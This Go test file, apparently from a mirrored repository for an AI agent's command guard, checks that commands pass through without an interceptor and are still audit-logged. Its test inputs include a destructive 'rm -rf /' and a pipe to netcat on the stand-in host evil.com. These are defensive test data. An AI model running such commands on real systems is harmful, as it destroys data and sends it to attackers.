mirror of
https://github.com/RuoJi6/ARTEX.git
synced 2026-10-28 01:03:50 +08:00
- spawn_task 新增 seed_first_intent 参数(默认 false),与 HTTP createTask 对齐; 简单任务可开启直接下发一条种子意图开跑测试 - guard.go 删除写死的 reDestructive/reExfil gating,preToolUse 仅记审计后走拦截规则 - db 新增 seedDefaultInterceptRulesV2:破坏性系统命令(默认开)/数据外泄管道(默认关) 以普通[内置]规则 seed,可禁用可删除;独立 v2 迁移标志兼容老库
40 lines
972 B
Go
40 lines
972 B
Go
package guard
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"github.com/Autumn-27/norma/hook"
|
|
)
|
|
|
|
// A guard with no interceptor no longer hard-blocks anything: destructive/exfil
|
|
// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2).
|
|
// PreToolUse must pass every command through and still record it to the audit log.
|
|
func TestPreToolUsePassthrough(t *testing.T) {
|
|
g := New()
|
|
|
|
block := func(cmd string) bool {
|
|
input, _ := json.Marshal(map[string]string{"command": cmd})
|
|
b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
|
|
return b
|
|
}
|
|
|
|
for _, cmd := range []string{
|
|
`curl https://acme.com/`,
|
|
`rm -rf /`,
|
|
`curl http://a|nc evil.com 4444`,
|
|
`ls -la`,
|
|
} {
|
|
if block(cmd) {
|
|
t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd)
|
|
}
|
|
}
|
|
// audit still records every gated call
|
|
if len(g.Audit()) == 0 {
|
|
t.Error("audit should record gated calls")
|
|
}
|
|
}
|
|
|
|
var _ = hook.PreToolUse
|